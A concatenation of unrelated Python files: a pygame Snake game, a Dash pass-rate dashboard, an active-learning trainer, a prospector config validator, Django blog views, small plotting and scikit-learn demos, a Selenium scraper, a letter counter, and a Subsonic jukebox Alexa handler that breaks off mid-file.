import math
import random
import pygame
import tkinter as tk
from tkinter import messagebox
import ctypes

class square(object):
    rows = 20
    w = 700
    def __init__(self, start, dirnx=1, dirny=0, color = (195, 125, 146)):
        self.pos = start
        self.dirnx = 1
        self.dirny = 0
        self.color = color

    def moveSquare(self, dirnx, dirny):
        self.dirnx = dirnx
        self.dirny = dirny
        self.pos = (self.pos[0] + self.dirnx, self.pos[1] + self.dirny)

    def draw(self, surface, eyes = False):
        distance = self.w // self.rows
        i = self.pos[0]
        j = self.pos[1]

        pygame.draw.rect(surface, self.color, (i*distance + 1, j*distance + 1, distance - 2, distance - 2))
        if eyes :
            center = distance // 2
            rCircle = 3
            centerCircle = (i * distance + center - rCircle, j * distance + 8)
            centerCircle2 = (i * distance + distance - rCircle * 2, j * distance + 8)
            pygame.draw.circle(surface, (0,0,0), centerCircle, rCircle)
            pygame.draw.circle(surface, (0,0,0), centerCircle2, rCircle)

class snake(object):
    body = []
    turns = {}                                      #dictionar care tine minte locul unde facem o intoarcere, o miscare
    def __init__(self, color, pos):
        self.color = color
        self.head = square(pos)
        self.body.append(self.head)
        self.dirnx = 0                              #directia in care se misca
        self.dirny = 1

    def moveSnake(self):
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
            keys = pygame.key.get_pressed()
            for key in keys:
                if keys[pygame.K_LEFT]:
                    self.dirnx = -1
                    self.dirny = 0
                    self.turns[self.head.pos[:]] = [self.dirnx, self.dirny]

                elif keys[pygame.K_RIGHT]:
                    self.dirnx = 1
                    self.dirny = 0
                    self.turns[self.head.pos[:]] = [self.dirnx, self.dirny]

                elif keys[pygame.K_UP]:
                    self.dirnx = 0
                    self.dirny = -1
                    self.turns[self.head.pos[:]] = [self.dirnx, self.dirny]

                elif keys[pygame.K_DOWN]:
                    self.dirnx = 0
                    self.dirny = 1
                    self.turns[self.head.pos[:]] = [self.dirnx, self.dirny]

        for i, s in enumerate(self.body):
            p = s.pos[:]
            if p in self.turns:
                turn = self.turns[p]
                s.moveSquare(turn[0], turn[1])
                if i == len(self.body) - 1:
                    self.turns.pop(p)
            else :
                if s.dirnx == -1 and s.pos[0] <= 0:
                    s.pos = (s.rows-1, s.pos[1])                    #daca ajunge in margfinea din stanga trece in partea dreapta a ferestrei
                elif s.dirnx == 1 and s.pos[0] >= s.rows-1:
                    s.pos = (0, s.pos[1])                           #daca ajunge in marginea din drepta a ecranului, trece in partea stanga
                elif s.dirny == 1 and s.pos[1] >= s.rows - 1:
                    s.pos = (s.pos[0], 0)                           #daca ajunge in marginea de jos a ecranului, trece in partea de sus
                elif s.dirny == -1 and s.pos[1] <= 0 :
                    s.pos = (s.pos[0], s.rows - 1)                  #daca ajunge in marginea de sus a ecranului, trece in partea de jos
                else: s.moveSquare(s.dirnx, s.dirny)                      #doar facem mutarea daca nu e niciun caz

    def reset(self, pos):
        self.body = []
        self.turns = {}
        self.dirnx = 0
        self.dirny = 1
        self.head = square(pos)
        self.body.append(self.head)

    def addSquare(self):
        snakeTail = self.body[-1]
        dx, dy = snakeTail.dirnx, snakeTail.dirny

        if dx == 1 and dy == 0:
            self.body.append(square((snakeTail.pos[0]-1,snakeTail.pos[1])))
        elif dx == -1 and dy == 0:
            self.body.append(square((snakeTail.pos[0]+1,snakeTail.pos[1])))
        elif dx == 0 and dy == 1:
            self.body.append(square((snakeTail.pos[0],snakeTail.pos[1]-1)))
        elif dx == 0 and dy == -1:
            self.body.append(square((snakeTail.pos[0],snakeTail.pos[1]+1)))

        self.body[-1].dirnx = dx
        self.body[-1].dirny = dy

    def draw(self, surface):
        for i, s in enumerate(self.body):
            if i==0:
                s.draw(surface, True)
            else:
                s.draw(surface)

def drawGrid(w, rows, surface):
    sizeBetween = w // rows
    x = 0
    y = 0
    for l in range(rows):
        x = x + sizeBetween
        y = y + sizeBetween
        pygame.draw.line(surface,(255,255,255),(x, 0), (x, w))
        pygame.draw.line(surface,(255,255,255),(0,y), (w, y))

def redrawWindow(surface):
    global rows, width, s, squareSnack
    surface.fill((104, 83, 77))
    s.draw(surface)
    squareSnack.draw(surface)
    drawGrid(width, rows, surface)
    pygame.display.update()

def randomSquareSnack(rows, snakeItem):
    positions = snakeItem.body
    while True:
        x = random.randrange(rows)
        y = random.randrange(rows)

        if len(list(filter(lambda z:z.pos == (x,y), positions))) > 0:
            continue
        else:
            break
    return(x,y)

def message_box(msg1, msg2):
    ctypes.windll.user32.MessageBoxW(0, msg1, msg2, 1)

def start_snake():
    global width, rows, s, squareSnack
    pygame.init()

    width = 700
    height = 700
    rows = 20

    pygame.display.set_caption("Snake")
    win = pygame.display.set_mode((width, height))

    s = snake((195, 125, 146), (10,10))
    squareSnack = square(randomSquareSnack(rows, s), color = (126, 189, 195))
    flag = True

    clock = pygame.time.Clock()
    while flag:
        pygame.time.delay(50)
        clock.tick(7)
        s.moveSnake()
        if s.body[0].pos == squareSnack.pos:
            s.addSquare()
            squareSnack = square(randomSquareSnack(rows, s), color = (126, 189, 195))

        for x in range(len(s.body)):
            if s.body[x].pos in list(map(lambda z:z.pos,s.body[x+1:])):

                message_box("Joaca din nou!!! Ai avut scorul: " + str(len(s.body)), "Ai pierdut! :(((")
                s.reset((10,10))
                break

        redrawWindow(win)
    pass


import dash
import dash_core_components as dcc
import dash_html_components as html
import pandas as pd

from sys import path

path.append('./controllers')

from controllers.src_html import tab_one, graph_bar, graph_line, graph_hist, results_pie, results_table

df = pd.read_csv('../data/matric-pass-rate.csv').set_index('Province')
app = dash.Dash()

year_options = []
provinces = ['National']
for year in df.columns:
    year_options.append({str(year): year})

for prov in df.index:
    provinces.append(({'label': prov, 'value': prov}))

# HTML STRUCTURE
app.title = 'Matric Pass Rate'
app.layout = html.Div([
    dcc.Tabs(id='navigator', value='tab-overall', children=[
        dcc.Tab(label='Overall', value='tab-overall', children=[
            dcc.Graph(
                id='graph-output-1',
                figure=results_table()
            ),
            dcc.Graph(
                id='overall-pie',
                figure=results_pie('National', '2009')
            )
        ]),
        dcc.Tab(id='breakdown', label='Breakdown', value='tab-breakdown', children=[
            dcc.Graph(
                id='top-graph',
                figure=graph_bar()
            ),
            dcc.Graph(
                id='line-graph',
                figure=graph_line()
            )
        ])
    ])
])

# START POINT
if __name__ == '__main__':
    app.run_server()


import torch
import numpy as np
import random
import schemas
import datetime
import datasets
from argparse import ArgumentParser, FileType, ArgumentDefaultsHelpFormatter
from scipy.stats import  entropy
from torch.utils.data import DataLoader
from dnn.train import QueryDataset
from dnn import MultiTaskMLP, MCDropoutModel
from util import train_test_val_split
from util import draw_uncertainty, calibration_plot, PredictionStatistics
import torch.optim as optim

class ActiveLearner(object):
	def __init__(self, args):
		self.args = args
		self.budget = args.budget
		self.batch_size = args.batch_size
		self.max_classes = args.max_classes
		self.uncertainty = args.uncertainty
		self.active_iters = args.active_iters
		self.active_epochs = args.active_epochs
		self.biased_sample = args.biased_sample
		self.pred_stat = PredictionStatistics()

	def train(self, model, criterion, criterion_cal,
			  optimizer, X_train, Y_train, scheduler=None, active = False):
		if self.args.cuda:
			model.to(self.args.device)
		epochs = self.active_epochs if active else self.args.epochs

		train_dataset = QueryDataset(X_train, Y_train, self.max_classes)
		train_loader = DataLoader(train_dataset, batch_size=self.batch_size, shuffle=True)
		start = datetime.datetime.now()
		for epoch in range(epochs):
			total_loss = 0.0
			model.train()
			for i, (X, Y, label) in enumerate(train_loader):
				if self.args.cuda:
					X, Y, label = X.cuda(), Y.cuda(), label.cuda()

				optimizer.zero_grad()
				if self.args.model_type == "DNN":
					output, output_cla = model(X)
					loss = criterion(output, Y) + self.args.coeff * criterion_cal(output_cla, label)
				else: # self.args.model_type = "MCDropout":
					mu, sigma = model(X)
					#loss = model.loss(mu, Y, sigma)
					#print(mu, sigma, loss)
					loss = criterion(mu, Y)

				loss.backward()
				optimizer.step()
				total_loss += loss.item()
			print("{}-th Epochs: Train MSE Loss={:.4f}".format(epoch, total_loss))
			if scheduler is not None and (epoch + 1) % self.args.decay_patience == 0:
				scheduler.step()

		end = datetime.datetime.now()
		elapse_time = (end - start).total_seconds()
		print("Training time: {:.4f}s".format(elapse_time))
		return model

	def test(self, model, criterion, X_val, Y_val, query_infos_val):
		if self.args.cuda:
			model.to(self.args.device)
		model.eval()
		eval_dataset = QueryDataset(X_val, Y_val, self.max_classes)
		eval_loader = DataLoader(eval_dataset, batch_size=360, shuffle=False)
		errors = None
		total_loss = 0.0
		for i, (X, Y, _) in enumerate(eval_loader):
			if self.args.cuda:
				X, Y = X.cuda(), Y.cuda()
			if self.args.model_type == "DNN":
				output, _ = model(X)
			else: # self.args.model_type = "MCDropout":
				output, _ = model.predict(X)
			loss = criterion(output, Y)
			total_loss += loss.item()
			error = output - Y
			errors = error if errors is None else torch.cat([errors, error], dim= 0)
		print("Evaluation MSE Loss = {:.4f}".format(total_loss))
		errors = errors.cpu().detach().numpy()
		mse = np.mean(np.power(errors, 2.0))
		print("Test MSE Loss:{}".format(mse))
		self.pred_stat.get_prediction_details(errors, query_infos_val, partition_keys='num_predicates')

	def active_test(self, model, X_test, Y_test):
		assert self.args.multi_task, "Classification Task Disabled, Cannot Deploy Active Learning!"
		if self.args.cuda:
			model.to(self.args.device)
		model.eval()
		test_dataset = QueryDataset(X_test, Y_test, self.max_classes)
		test_loader = DataLoader(test_dataset, batch_size=360, shuffle=False)
		outputs, outputs_cla, sigmas = None, None, None
		for i, (X, _, _) in enumerate(test_loader):
			if self.args.cuda:
				X = X.cuda()
			if self.args.model_type == 'DNN':
				output, output_cla = model(X)
				outputs_cla = output_cla if outputs_cla is None else torch.cat([outputs_cla, output_cla], dim=0)
			else:
				output, sigma = model.predict(X)
				sigmas = sigma if sigmas is None else torch.cat([sigmas, sigma], dim=0)
			outputs = output if outputs is None else torch.cat([outputs, output], dim=0)
		if 	self.args.model_type == 'DNN':
			uncertainties = self.compute_uncertainty(outputs_cla, outputs)
		else:
			if self.args.cuda:
				outputs, sigmas = outputs.cpu(), sigmas.cpu()
			outputs, sigmas = outputs.detach().numpy(), sigmas.detach().numpy()
			uncertainties = sigmas / np.max(outputs, 0)
		uncertainties = uncertainties.ravel()
		uncertainties = uncertainties / np.sum(uncertainties)
		num_selected = self.budget if uncertainties.shape[0] > self.budget else uncertainties.shape[0]

		indices = np.random.choice(a=uncertainties.shape[0], size=num_selected, replace=False,
								   p=uncertainties) \
			if self.biased_sample else np.argsort(uncertainties)[- num_selected:]

		return indices

	def compute_uncertainty(self, output_cal, output):
		output_cal, output = output_cal.squeeze(), output.squeeze()
		output_cal = torch.exp(output_cal) # transform output of log_softmax to probability
		if self.args.cuda:
			output_cal = output_cal.cpu()
			output = output.cpu()
		output = output.detach().numpy()
		output_cal = output_cal.detach().numpy()
		print(output.shape, output_cal.shape)
		if self.uncertainty == "entropy":
			return entropy(output_cal, axis=-1)
		elif self.uncertainty == "confident":
			return 1.0 - np.max(output_cal, axis=-1)
		elif self.uncertainty == "margin":
			output_cal = np.sort(output_cal)
			return output_cal[:, -1] - output_cal[:, -2]
		elif self.uncertainty == "random":
			return np.random.rand(output.shape[0])
		elif self.uncertainty == "consist":
			reg_mag = np.ceil( np.log10( np.power(2.0, output)))
			cla_mag = np.argmax(output_cal, axis=-1)
			return np.power((reg_mag - cla_mag), 2)
		else:
			assert False, "Unsupported uncertainty function!"

	def merge_data(self, select_indices, X_train, Y_train, X_test, Y_test):
		X_delta, Y_delta = X_test[select_indices], Y_test[select_indices]
		X_train_new = np.vstack((X_train, X_delta))
		Y_train_new = np.vstack((Y_train, Y_delta))
		num_test = X_test.shape[0]
		indices = np.array(list(range(num_test)))
		keep_indices = np.setdiff1d(indices, np.asarray(select_indices))
		X_test_new, Y_test_new = X_test[keep_indices], Y_test[keep_indices]
		return X_train_new, Y_train_new, X_test_new, Y_test_new

	def active_train(self, model, criterion, criterion_cla, optimizer,
					 X_train, Y_train, X_test, Y_test, X_val = None, Y_val= None, query_infos_val= None, scheduler=None, pretrain = True):

		if pretrain:
			model = self.train(model, criterion, criterion_cla, optimizer, X_train, Y_train, scheduler= scheduler, active= False)
			if X_val is not None and Y_val is not None:
				self.test(model, criterion, X_val, Y_val, query_infos_val)
		for iter in range(self.active_iters):
			selected_indices = self.active_test(model, X_test, Y_test)
			X_train, Y_train, X_test, Y_test = self.merge_data(selected_indices, X_train, Y_train, X_test, Y_test)
			print("The {}-th active Learning: # Training Data {}".format(iter, X_train.shape[0]))
			model = self.train(model, criterion, criterion_cla, optimizer, X_train, Y_train, scheduler=scheduler, active= True)
			if X_val is not None and Y_val is not None:
				self.test(model, criterion, X_val, Y_val, query_infos_val)

def main(args):
	X, Y, all_query_infos = datasets.load_training_data(args)
	#X, Y, all_query_infos = schemas.load_training_schema_data(args)
	num_queries, num_feats = X.shape
	print("number of query: {}".format(num_queries))
	X_train, Y_train, query_infos_train, X_test, Y_test, query_infos_test, X_val, Y_val, query_infos_val = \
		train_test_val_split(X, Y, train_frac=0.2, test_frac=0.6, all_query_infos=all_query_infos)

	print("X train/test/val shape:", X_train.shape, X_test.shape, X_val.shape)
	print("Y train/test/val shape:", Y_train.shape, Y_test.shape, Y_val.shape)

	# define the model
	if args.model_type == 'DNN':
		model = MultiTaskMLP(in_ch=num_feats, hid_ch=args.num_hid, reg_out_ch=1, cla_out_ch=args.max_classes)
	elif args.model_type == 'MCDropout':
		model = MCDropoutModel(input_dim=num_feats, output_dim=1, hid_dim=args.num_hid)
	else:
		assert False, "Unsupported model type!"
	criterion = torch.nn.MSELoss()
	criterion_cla = torch.nn.NLLLoss()
	optimizer = optim.Adam(model.parameters(),
						   lr=args.learning_rate, weight_decay=args.weight_decay)
	scheduler = optim.lr_scheduler.ExponentialLR(optimizer, gamma=args.decay_factor)

	active_learner = ActiveLearner(args)
	active_learner.active_train(model, criterion, criterion_cla, optimizer,
								X_train, Y_train, X_test, Y_test, X_val, Y_val, query_infos_val= query_infos_val, scheduler=scheduler, pretrain=True)

if __name__ == "__main__":
	parser = ArgumentParser("DNN estimator", formatter_class=ArgumentDefaultsHelpFormatter, conflict_handler="resolve")
	parser.add_argument("--chunk_size", default=10, type=int, help="dimension of factorized encoding")
	parser.add_argument("--num_hid", default=512, type=int, help="number of hidden")
	parser.add_argument("--model_type", type=str, default='MCDropout', help="DNN, MCDropout")
	parser.add_argument("--feat_encode", type=str, default='dnn-encoder', help='dnn-encoder,one-hot')

	# Training parameters
	parser.add_argument("--epochs", default=50, type=int)
	parser.add_argument("--learning_rate", default=1e-4, type=float)
	parser.add_argument("--batch_size", default=32, type=int, help="batch size")
	parser.add_argument('--weight_decay', type=float, default=2e-4,
						help='Weight decay (L2 loss on parameters).')
	parser.add_argument('--decay_factor', type=float, default=0.85,
						help='decay rate of (gamma).')
	parser.add_argument('--decay_patience', type=int, default=10,
						help='num of epoches for one lr decay.')
	parser.add_argument('--no-cuda', action='store_true', default=True,
						help='Disables CUDA training.')

	# Card Classification task
	parser.add_argument("--multi_task", default=True, type=bool,
						help="enable/disable card classification task.")
	parser.add_argument("--max_classes", default=10, type=int,
						help="number classes for the card classification task.")
	parser.add_argument('--coeff', type=float, default=0.5,
						help='coefficient for the classification loss.')
	# Active Learner settings
	parser.add_argument("--uncertainty", default="margin", type=str,
						help="The uncertainty type") # entropy, margin, confident, consist, random are tested, only applicable for 'model_type' == DNN
	parser.add_argument("--biased_sample", default=True, type=bool,
						help="Enable Biased sampling for test set selection")
	parser.add_argument('--active_iters', type=int, default=3,
						help='Num of iterators of active learning.')
	parser.add_argument('--budget', type=int, default=1000,
						help='Selected Queries budget Per Iteration.')
	parser.add_argument('--active_epochs', type=int, default=50,
						help='Training Epochs for per iteration active learner.')
	parser.add_argument("--relations", type=str, default='higgs')

	# input dir
	#parser.add_argument("--relations", type=str, default='yelp-review,yelp-user') #'reviewer,user'
	#parser.add_argument("--names", type=str, default='review,user')
	#parser.add_argument("--query_path", type=str, default='/home/kfzhao/PycharmProjects/NNGP/queryset/join_review_user_100_2')

	#parser.add_argument("--relations", type=str, default='forest,forest')  # 'forest,forest'
	#parser.add_argument("--names", type=str, default='forest1,forest2')
	#parser.add_argument("--query_path", type=str,	default='/home/kfzhao/PycharmProjects/NNGP/queryset/join_forest1_forest2')

	parser.add_argument("--relations", type=str, default='forest')
	parser.add_argument("--names", type=str, default='forest')
	parser.add_argument("--query_path", type=str, default='/home/kfzhao/PycharmProjects/NNGP/queryset/forest_data')

	#parser.add_argument("--relations", type=str, default='higgs')
	#parser.add_argument("--names", type=str, default='higgs')
	#parser.add_argument("--query_path", type=str, default='/home/kfzhao/PycharmProjects/NNGP/queryset/higgs')

	parser.add_argument("--schema_name", type=str, default='tpch', help='yelp, tpcds, tpch')

	#parser.add_argument("--query_path", type=str, default="/home/kfzhao/PycharmProjects/NNGP/queryset/join_business_review_user_10_data_centric")
	#parser.add_argument("--query_path", type=str,  default="/home/kfzhao/PycharmProjects/NNGP/queryset/join_store_sales_store_item_customer_promotion_10_data_centric_427")
	#parser.add_argument("--query_path", type=str,  default="/home/kfzhao/PycharmProjects/NNGP/queryset/join_lineitem_part_orders_supplier_10_data_centric_427")

	args = parser.parse_args()
	args.cuda = not args.no_cuda and torch.cuda.is_available()
	args.device = torch.device('cuda' if args.cuda else 'cpu')
	relations = args.relations.split(',')
	args.join_query = True if len(relations) > 1 else False
	print(args)
	main(args)


import re
from pathlib import Path

try:  # Python >= 3.11
    import re._constants as sre_constants
except ImportError:
    import sre_constants

import yaml

from prospector.finder import FileFinder
from prospector.message import Location, Message
from prospector.profiles import AUTO_LOADED_PROFILES
from prospector.tools import DEPRECATED_TOOL_NAMES, TOOLS, ToolBase, pyflakes

PROFILE_IS_EMPTY = "profile-is-empty"
CONFIG_SETTING_SHOULD_BE_LIST = "should-be-list"
CONFIG_UNKNOWN_SETTING = "unknown-setting"
CONFIG_SETTING_MUST_BE_INTEGER = "should-be-int"
CONFIG_SETTING_MUST_BE_BOOL = "should-be-bool"
CONFIG_INVALID_VALUE = "invalid-value"
CONFIG_INVALID_REGEXP = "invalid-regexp"
CONFIG_DEPRECATED_SETTING = "deprecated"
CONFIG_DEPRECATED_CODE = "deprecated-tool-code"

__all__ = ("ProfileValidationTool",)

def _tool_names(with_deprecated: bool = True):
    tools = list(TOOLS)
    if with_deprecated:
        tools += DEPRECATED_TOOL_NAMES.keys()
    return tools

class ProfileValidationTool(ToolBase):
    LIST_SETTINGS = ("inherits", "uses", "ignore", "ignore-paths", "ignore-patterns")
    BOOL_SETTINGS = ("doc-warnings", "test-warnings", "autodetect")
    OTHER_SETTINGS = (
        "strictness",
        "max-line-length",
        "output-format",
        "output-target",
        "member-warnings",
        "pep8",
        # bit of a grim hack; prospector does not use the following but Landscape does:
        # TODO: think of a better way to avoid Landscape-specific config leaking into prospector
        "python-targets",
    )
    ALL_SETTINGS = LIST_SETTINGS + BOOL_SETTINGS + OTHER_SETTINGS

    def __init__(self):
        self.to_check = set(AUTO_LOADED_PROFILES)
        self.ignore_codes = ()

    def configure(self, prospector_config, found_files):
        for profile in prospector_config.config.profiles:
            self.to_check.add(profile)

        self.ignore_codes = prospector_config.get_disabled_messages("profile-validator")

    def validate(self, filepath: Path):  # noqa
        # pylint: disable=too-many-locals
        # TODO: this should be broken down into smaller pieces
        messages = []

        with filepath.open() as profile_file:
            _file_contents = profile_file.read()
            parsed = yaml.safe_load(_file_contents)
            raw_contents = _file_contents.split("\n")

        def add_message(code, message, setting):
            if code in self.ignore_codes:
                return
            line = -1
            for number, fileline in enumerate(raw_contents):
                if setting in fileline:
                    line = number + 1
                    break
            location = Location(filepath, None, None, line, 0, False)
            message = Message("profile-validator", code, location, message)
            messages.append(message)

        if parsed is None:
            # this happens if a completely empty profile is found
            add_message(
                PROFILE_IS_EMPTY,
                f"{filepath} is a completely empty profile",
                "entire-file",
            )
            return messages

        for setting in ProfileValidationTool.BOOL_SETTINGS:
            if not isinstance(parsed.get(setting, False), bool):
                add_message(
                    CONFIG_SETTING_MUST_BE_BOOL,
                    f'"{setting}" should be true or false',
                    setting,
                )

        if not isinstance(parsed.get("max-line-length", 0), int):
            add_message(
                CONFIG_SETTING_MUST_BE_INTEGER,
                '"max-line-length" should be an integer',
                "max-line-length",
            )

        if "strictness" in parsed:
            possible_strictness = ("veryhigh", "high", "medium", "low", "verylow", "none")
            if parsed["strictness"] not in possible_strictness:
                _joined = ", ".join(possible_strictness)
                add_message(
                    CONFIG_INVALID_VALUE,
                    f'"strictness" must be one of {_joined}',
                    "strictness",
                )

        if "uses" in parsed:
            possible_libs = ("django", "celery", "flask")
            parsed_list = parsed["uses"] if isinstance(parsed["uses"], list) else [parsed["uses"]]
            for uses in parsed_list:
                if uses not in possible_libs:
                    _joined = ", ".join(possible_libs)
                    add_message(
                        CONFIG_INVALID_VALUE,
                        f'"{uses}" is not valid for "uses", must be one of {_joined}',
                        uses,
                    )

        if "ignore" in parsed:
            add_message(
                CONFIG_DEPRECATED_SETTING,
                '"ignore" is deprecated, please update to use "ignore-patterns" instead',
                "ignore",
            )

        if "python-targets" in parsed:
            python_targets = (
                parsed["python-targets"] if isinstance(parsed["python-targets"], list) else [parsed["python-targets"]]
            )

            for target in python_targets:
                if str(target) not in ("2", "3"):
                    add_message(
                        CONFIG_INVALID_VALUE,
                        f'"{target}" is not valid for "python-targets", must be either 2 or 3',
                        str(target),
                    )

        for pattern in parsed.get("ignore-patterns", []):
            try:
                re.compile(pattern)
            except sre_constants.error:
                add_message(CONFIG_INVALID_REGEXP, "Invalid regular expression", pattern)

        for key in ProfileValidationTool.LIST_SETTINGS:
            if key not in parsed:
                continue
            if not isinstance(parsed[key], (tuple, list)):
                add_message(CONFIG_SETTING_SHOULD_BE_LIST, f'"{key}" should be a list', key)

        for key in parsed.keys():
            if key not in ProfileValidationTool.ALL_SETTINGS and key not in _tool_names():
                add_message(
                    CONFIG_UNKNOWN_SETTING,
                    f'"{key}" is not a valid prospector setting',
                    key,
                )

        if "pep257" in parsed:
            add_message(
                CONFIG_DEPRECATED_CODE,
                "pep257 tool has been renamed to 'pydocstyle'. " "The name pep257 will be removed in prospector 2.0+.",
                "pep257",
            )

        if "pep8" in parsed:
            pep8val = parsed["pep8"]
            if isinstance(pep8val, dict):
                add_message(
                    CONFIG_DEPRECATED_CODE,
                    "pep8 tool has been renamed to 'pycodestyle'. "
                    "Using pep8 to configure the tool will be removed in prospector 2.0+.",
                    "pep8",
                )
            elif pep8val not in ("full", "none"):
                add_message(
                    CONFIG_UNKNOWN_SETTING,
                    f"{pep8val} is not a valid setting for pep8 - must be either 'full' or 'none'",
                    "pep8",
                )

        if "pyflakes" in parsed:
            for code in parsed["pyflakes"].get("enable", []) + parsed["pyflakes"].get("disable", []):
                if code in pyflakes.LEGACY_CODE_MAP:
                    _legacy = pyflakes.LEGACY_CODE_MAP[code]
                    add_message(
                        CONFIG_DEPRECATED_CODE,
                        f"Pyflakes {code} was renamed to {_legacy}",
                        "pyflakes",
                    )

        return messages

    def run(self, found_files: FileFinder):
        messages = []
        for filepath in found_files.files:
            for possible in self.to_check:
                if filepath == possible:
                    messages += self.validate(filepath)
                    break

        return messages


from django.contrib.auth.decorators import login_required
from django.shortcuts import render, redirect, get_object_or_404

from .models import Group, Post, User
from .forms import PostForm
from .utils import paginations

def index(request):
    post_list = Post.objects.all()
    page_obj = paginations(request, post_list)
    context = {
        'page_obj': page_obj,
    }
    return render(request, 'posts/index.html', context)

def group_posts(request, slug):
    group = get_object_or_404(Group, slug=slug)
    post_list = group.posts.all()
    page_obj = paginations(request, post_list)
    context = {
        'group': group,
        'page_obj': page_obj,
    }
    return render(request, 'posts/group_list.html', context)

def profile(request, username):
    author = get_object_or_404(User, username=username)
    post_list = author.posts.all()
    page_obj = paginations(request, post_list)
    context = {
        'author': author,
        'page_obj': page_obj,
    }
    return render(request, 'posts/profile.html', context)

def post_detail(request, post_id):
    post = get_object_or_404(Post, id=post_id)
    context = {
        'post': post,
    }
    return render(request, 'posts/post_detail.html', context)

@login_required
def post_create(request):
    form = PostForm(request.POST or None)
    post = form.save(commit=False)
    if form.is_valid():
        post.author = request.user
        form.save()
        return redirect('posts:profile', username=request.user)
    return render(request, 'posts/post_create.html', {'form': form})

@login_required
def post_edit(request, post_id):
    post = get_object_or_404(Post, id=post_id)
    if post.author != request.user:
        return redirect('posts:post_detail', post_id=post_id)
    form = PostForm(request.POST or None, instance=post)
    if form.is_valid():
        form.save()
        return redirect('posts:post_detail', post_id=post_id)
    return render(
        request, 'posts/post_create.html', {'form': form, 'post': post}
    )


import numpy as np
import matplotlib.pyplot as plt

data = np.empty((0, 6))

with open("points.txt", 'r') as file:
    for line in file:
        row = line.split()
        data = np.append(data, [[float(row[0]), float(row[1]), float(row[2]), float(row[3]), float(row[4]), float(row[5])]], axis = 0)
        # x, y, e^x, y - e^x, y^(1/x), y^(1/x) - e

plt.title("e^x and e Approximation")
plt.xlabel("x")
plt.ylabel("y")
plt.scatter(data[:, 0], data[:, 1], color = "blue", label = "e^x Approximation") # scatter plot of e^x approximation
plt.plot(data[:, 0], data[:, 2], color = "orange", label = "e^x") # solid line plot of e^x
plt.scatter(data[:, 0], data[:, 3], color = "red", label = "e^x Approximation Error") # scatter plot of error of e^x approximation
plt.scatter(data[:, 0], data[:, 4], color = "purple", label = "e Approximation") # scatter plot of e approximation
plt.scatter(data[:, 0], data[:, 5], color = "green", label = "e Approximation Error") # scatter plot of error of e approximation
plt.legend()
plt.show()


from sklearn.datasets import make_classification
from sklearn.tree import DecisionTreeClassifier
import matplotlib.pyplot as plt
import utils

plt.title("3 Class values with 2 Features Sample data creation")

# 2차원 시각화를 위해서 피처는 2개, 클래스는 3가지 유형의 분류 샘플 데이터 생성
X_features, y_labels = make_classification(n_features=2, n_redundant=0, n_informative=2, n_classes=3, n_clusters_per_class=1, random_state=0)

# 그래프 형태로 2개의 feature로 2차원 좌표 시각화, 각 클래스 값은 다른 색깔로 표시됨.
plt.scatter(X_features[:, 0], X_features[:, 1], marker='o', c=y_labels, s=25, edgecolors='k')
plt.show()

# 특정한 트리 생성 제약 없는 결정 트리의 학습과 결정 경계 시각화
dt_clf = DecisionTreeClassifier().fit(X_features, y_labels)
utils.visualize_boundary(dt_clf, X_features, y_labels)
plt.show()

dt_clf = DecisionTreeClassifier(min_samples_leaf=6).fit(X_features, y_labels)
utils.visualize_boundary(dt_clf, X_features, y_labels)
plt.show()


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
from datetime import datetime as dt

def get_driver():
    #Set options to make browsing easier
    options = webdriver.ChromeOptions()
    options.add_argument("disable-infobars")
    options.add_argument("start-maximized")
    options.add_argument("disable-dev-shm-usage")
    options.add_argument("no-sandbox")
    options.add_experimental_option("excludeSwitches",["enable-automation"])
    options.add_argument("disable-blink-features=AutomationControlled")

    driver = webdriver.Chrome(options = options)
    url = "http://automated.pythonanywhere.com/"
    driver.get(url)
    return driver

def clean_text(text):
    """"Extract only the temperature from text"""
    output =float( text.split(": ")[-1])
    return output

def write_temperature(temperature):
    # Get the current date
    now = dt.now()
    # Format the date as a string in the desired format
    date_string = now.strftime("%Y-%m-%d_%H-%M-%S")
    # Create the file name by concatenating the date string with '.txt'
    filename = date_string + '.txt'
    # Open the file in write mode
    file = open(filename, 'w')
    # Write some text to the file
    file.write(str(temperature))
    # Close the file
    file.close()

def main():
    driver = get_driver()

    # Scrape the temperature value
    while True:
        time.sleep(2)
        text = driver.find_element(by="xpath", value="/html/body/div[1]/div/h1[2]").text
        write_temperature(clean_text(text))

main()


import pprint
from collections import defaultdict

entrada_frase = input("Digite uma frase: ")

alfabeto = 'abcdefghijklmnopqrstuvwxyz'

mapeados = defaultdict(list) # Indica que os caracteres vão entrar em um dictionary
for caractere in entrada_frase:
    caractere = caractere.lower() # Indica que os caracteres vão ser analisados em minúsculo
    if caractere in alfabeto:
        mapeados[caractere].append(caractere) # Adiciona o caractere ao dictionary

print("\n" + entrada_frase + "\n")
pprint.pprint(mapeados, width=110)


from __future__ import print_function
import requests
import xml.etree.ElementTree as ET

server = ''
u = ''
p = ''
s = ''
t = ''
v = '1.13.0'
app = ''

payload = {'u': u, 's':s, 't':t, 'v':v, 'c':app}

def clear():
    global payload
    payload['action']='clear'
    r = requests.get(server + '/rest/jukeboxControl.view', params=payload)

def getrandom():
    global payload
    r = requests.get(server + '/rest/getRandomSongs.view', params=payload)
    resp = r.text

    root_element = ET.fromstring(resp)

    songs = []

    for child in root_element:
        for song in child:
            print(song.get('id'), song.get('path'))
            songs.append(song.get('id'))
    return songs

def addrandom(songs):
    global payload
    payload['action']='add'

    for song in songs:
        payload['id']=song
        r = requests.get(server + '/rest/jukeboxControl.view', params=payload)
        del payload['id']

def getplaylist():
    payload['action']='get'
    r = requests.get(server + '/rest/jukeboxControl.view', params=payload)

def getstatus():
    payload['action']='status'
    r = requests.get(server + '/rest/jukeboxControl.view', params=payload)

def start():
    payload['action']='start'
    r = requests.get(server + '/rest/jukeboxControl.view', params=payload)

def nowplaying():
    # get playlist
    payload['action']='get'
    r = requests.get(server + '/rest/jukeboxControl.view', params=payload)

    resp = r.text
    root_element = ET.fromstring(resp)

    songs = []

    for child in root_element:
        for song in child:
            songs.append({
                'id': song.get('id'),
                'artist': song.get('artist'),
                'album': song.get('album'),
                'title': song.get('title')})

    #get offset
    payload['action']='status'
    r = requests.get(server + '/rest/jukeboxControl.view', params=payload)

    root_element = ET.fromstring(r.text)

    current_index = int(root_element[0].get('currentIndex'))

    return songs[current_index]

def lambda_handler(event, context):
    """ Route the incoming request based on type (LaunchRequest, IntentRequest,
    etc.) The JSON body of the request is provided in the event parameter.
    """

    print("event.session.application.applicationId=" +
          event['session']['application']['applicationId'])

    """
    Uncomment this if statement and populate with your skill's application ID to
